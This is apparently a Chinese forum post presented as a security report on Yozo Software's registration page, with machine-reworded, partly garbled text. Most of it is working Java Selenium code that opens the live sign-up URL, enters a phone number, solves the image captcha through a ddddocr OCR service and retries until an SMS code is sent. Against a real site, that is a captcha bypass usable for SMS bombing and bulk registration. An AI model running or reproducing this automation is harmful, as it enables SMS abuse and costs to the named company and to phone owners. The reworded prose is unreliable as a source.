【永中软件-注册/登录安全分析陈诉】

[复制链接]
发表于 2026-1-3 05:42:57 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
前言

由于网站注册入口轻易被黑客攻击,存在如下安全题目:

  • 暴力破解暗码,造成用户信息走漏
  • 短信盗刷的安全题目,影响业务及导致用户投诉
  • 带来经济丧失,尤其是后付费客户,风险巨大,造成亏损无底洞

    以是大部门网站及App 都采取图形验证码或滑动验证码等交互办理方案, 但在呆板学习本事进步的当下,连百度如许的大厂都遭受攻击导致点名品评, 图形验证及交互验证方式的安全性到底怎样? 请看具体分析
一、 永中软件 PC 注册入口

简介: 永中软件股份有限公司(简称“永中软件”)是国产办公软件产物和政企数字信息化服务提供商,二十余年专注国产办公软件的研发与推广, 始终对峙做中国人本身的办公软件。
永中软件不停丰富和美满产物布局体系,完成了以永中Office为焦点,覆盖桌面办公、网络办公、移动办公、云办公、版式办公软件等范畴的产物战略布局, 形成了“底子办公本事+通用工具+行业数字化应用体系+数据支持平台”的综合办理方案本事。产物以云服务为底子,实现了文档多屏多端互联互通,满足用户随时随地协同办公的多元化需求, 资助用户化繁为简,开启自由创作和高效办公的智能方式。


二丶 安全分析:

接纳传统的图形验证码方式,具体为4个数字英文,ocr 辨认率在 95% 以上。
 
测试方法:
接纳模仿器+OCR辨认
1. 模仿器交互

  1.         private final String INDEX_URL = "http://auth.yozocloud.cn/newaccount/register?success=https://www.yozosoft.com/";
  2.         @Override
  3.         public RetEntity send(WebDriver driver, String areaCode, String phone) {
  4.                 try {
  5.                         RetEntity retEntity = new RetEntity();
  6.                         driver.get(INDEX_URL);
  7.                         // 1 输入手机号
  8.                         WebElement phoneElemet = driver.findElement(By.name("phone"));
  9.                         phoneElemet.sendKeys(phone);
  10.                         // 2 输入密码
  11.                         String password = "qwe123.";
  12.                         WebElement passwordElemet = ChromeDriverManager.waitElement(driver, By.name("password"), 1);
  13.                         passwordElemet.sendKeys(password);
  14.                         // 3 点击发送验证码按钮
  15.                         WebElement sendElemet = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
  16.                         sendElemet.click();
  17.                         Thread.sleep(100);
  18.                         // 4 获取图形验证码
  19.                         WebElement imgElement, errElement, inputElement;
  20.                         String imgCode = null;
  21.                         byte[] imgByte = null;
  22.                         String gtInfo = null;
  23.                         for (int i = 0; i < 3; i++) {
  24.                                 imgElement = driver.findElement(By.xpath("//img[contains(@src,'/api/challenge/captcha')]"));
  25.                                 String imgUrl = imgElement.getAttribute("src");
  26.                                 imgByte = GetImage.callJsByUrl(driver, imgUrl);
  27.                                 int len = (imgByte != null) ? imgByte.length : 0;
  28.                                 imgCode = (len > 0) ? ddddOcr.getImgCode(imgByte) : null;
  29.                                 if (imgCode == null || imgCode.length() < 1) {
  30.                                         System.out.println("len=" + len + ",imgCode=" + imgCode);
  31.                                         return retEntity;
  32.                                 }
  33.                                 // 5 输入识别出来的图形验证码
  34.                                 inputElement = driver.findElement(By.name("captcha"));
  35.                                 inputElement.clear();
  36.                                 inputElement.sendKeys(imgCode);
  37.                                 sendElemet.click();
  38.                                 Thread.sleep(1000);
  39.                                 gtInfo = sendElemet.getText();
  40.                                 if (gtInfo != null && gtInfo.contains("重新发送")) {
  41.                                         break;
  42.                                 }
  43.                                 imgElement.click();
  44.                                 Thread.sleep(1000);
  45.                         }
  46.                         retEntity.setMsg("[imgCode:" + imgCode + "]->" + gtInfo);
  47.                         if (gtInfo != null && gtInfo.contains("重新发送")) {
  48.                                 retEntity.setRet(0);
  49.                                 ddddOcr.saveFile("YozoSoft", imgCode, imgByte);
  50.                         } else {
  51.                                 System.out.println("gtInfo=" + gtInfo);
  52.                         }
  53.                         return retEntity;
  54.                 } catch (Exception e) {
  55.                         System.out.println("phone=" + phone + ",e=" + e.toString());
  56.                         for (StackTraceElement ele : e.getStackTrace()) {
  57.                                 System.out.println(ele.toString());
  58.                         }
  59.                         return null;
  60.                 } finally {
  61.                         driver.manage().deleteAllCookies();
  62.                 }
  63.         }
  64.        
复制代码
2. 获取图形验证码

  1. public static byte[] callJsById(WebDriver driver, String id) {
  2.                 return callJsById(driver, id, null);
  3.         }
  4.         public static byte[] callJsById(WebDriver driver, String id, StringBuffer base64) {
  5.                 String js = "let c = document.createElement('canvas');let ctx = c.getContext('2d');";
  6.                 js += "let img = document.getElementById('" + id + "'); /*找到图片*/ ";
  7.                 js += "c.height=img.naturalHeight;c.width=img.naturalWidth;";
  8.                 js += "ctx.drawImage(img, 0, 0,img.naturalWidth, img.naturalHeight);";
  9.                 js += "let base64String = c.toDataURL();return base64String;";
  10.                 String src = ((JavascriptExecutor) driver).executeScript(js).toString();
  11.                 String base64Str = src.substring(src.indexOf(",") + 1);
  12.                 if (base64 != null) {
  13.                         base64.append(base64Str);
  14.                 }
  15.                 byte[] vBytes = (base64Str != null) ? imgStrToByte(base64Str) : null;
  16.                 return vBytes;
  17.         }
复制代码
3.图形验证码辨认(Ddddocr)

  1.         public String getImgCode(byte[] bigImage) {
  2.                 try {
  3.                         if (ddddUrl == null) {
  4.                                 System.out.println("getImgCode() ddddUrl=" + ddddUrl);
  5.                                 return null;
  6.                         }
  7.                         int len = (bigImage != null) ? bigImage.length : -1;
  8.                         if (len < 0) {
  9.                                 System.out.println("getImgCode() len=" + len);
  10.                                 return null;
  11.                         }
  12.                         long time = (new Date()).getTime();
  13.                         HttpURLConnection con = null;
  14.                         String boundary = "----------" + String.valueOf(time);
  15.                         String boundarybytesString = "\r\n--" + boundary + "\r\n";
  16.                         OutputStream out = null;
  17.                         URL u = new URL(ddddUrl);
  18.                         con = (HttpURLConnection) u.openConnection();
  19.                         con.setRequestMethod("POST");
  20.                         con.setConnectTimeout(10 * 1000);
  21.                         con.setReadTimeout(10 * 1000);
  22.                         con.setDoOutput(true);
  23.                         con.setDoInput(true);
  24.                         con.setUseCaches(true);
  25.                         con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
  26.                         out = con.getOutputStream();
  27.                         out.write(boundarybytesString.getBytes("UTF-8"));
  28.                         String paramString = "Content-Disposition: form-data; name="image"; filename="" + "bigNxt.gif" + ""\r\n";
  29.                         paramString += "Content-Type: application/octet-stream\r\n\r\n";
  30.                         out.write(paramString.getBytes("UTF-8"));
  31.                         out.write(bigImage);
  32.                         String tailer = "\r\n--" + boundary + "--\r\n";
  33.                         out.write(tailer.getBytes("UTF-8"));
  34.                         out.flush();
  35.                         out.close();
  36.                         StringBuffer buffer = new StringBuffer();
  37.                         BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
  38.                         String temp;
  39.                         while ((temp = br.readLine()) != null) {
  40.                                 buffer.append(temp);
  41.                         }
  42.                         String ret = buffer.toString();
  43.                         if (ret.length() < 1) {
  44.                                 System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());
  45.                         }
  46.                         return buffer.toString();
  47.                 } catch (Throwable e) {
  48.                         logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());
  49.                         return null;
  50.                 }
  51.         }
复制代码
4. 图形OCR辨认结果:


5. 测试返回结果:


三 丶测试陈诉 :


四丶结语

关于永中
永中软件股份有限公司(简称“永中软件”)是国产办公软件产物和政企数字信息化服务提供商,二十余年专注国产办公软件的研发与推广, 始终对峙做中国人本身的办公软件。
永中软件不停丰富和美满产物布局体系,完成了以永中Office为焦点,覆盖桌面办公、网络办公、移动办公、云办公、版式办公软件等范畴的产物战略布局, 形成了“底子办公本事+通用工具+行业数字化应用体系+数据支持平台”的综合办理方案本事。产物以云服务为底子,实现了文档多屏多端互联互通,满足用户随时随地协同办公的多元化需求, 资助用户化繁为简,开启自由创作和高效办公的智能方式。作为着名的软件厂商,拥有雄厚的技能研发力气, 技能力气也应该不错,但接纳的还是老一代的图形验证码已经掉队了, 用户体验一样寻常,轻易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响荣誉。
   许多人在短佩服务刚开始创建的阶段,大概不会在安全方面思量太多,来由有许多。
比如:“ 需求这么赶,固然是先实现功能啊 ”,“ 业务量很小啦,体系就这么点人用,不怕的 ” , “ 我们怎么会被盯上呢,不大概的 ”等等。
  有一些来由固然有原理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,题目就越小,丧失就越低。
  以是各人在安全方面还是要器重。(血淋淋的栗子!)#安全短信#
  戳这里→康康你手机号在过多少网站注册过!!!
谷歌图形验证码在AI 眼前已经形同虚设,以是谷歌公布退出验证码服务, 那么当全部的图形验证码都被破解时,各人又该怎样做好防御呢?
>>干系阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象地域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码闭幕者-基于CNN+BLSTM+CTC的训练摆设套件》
回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表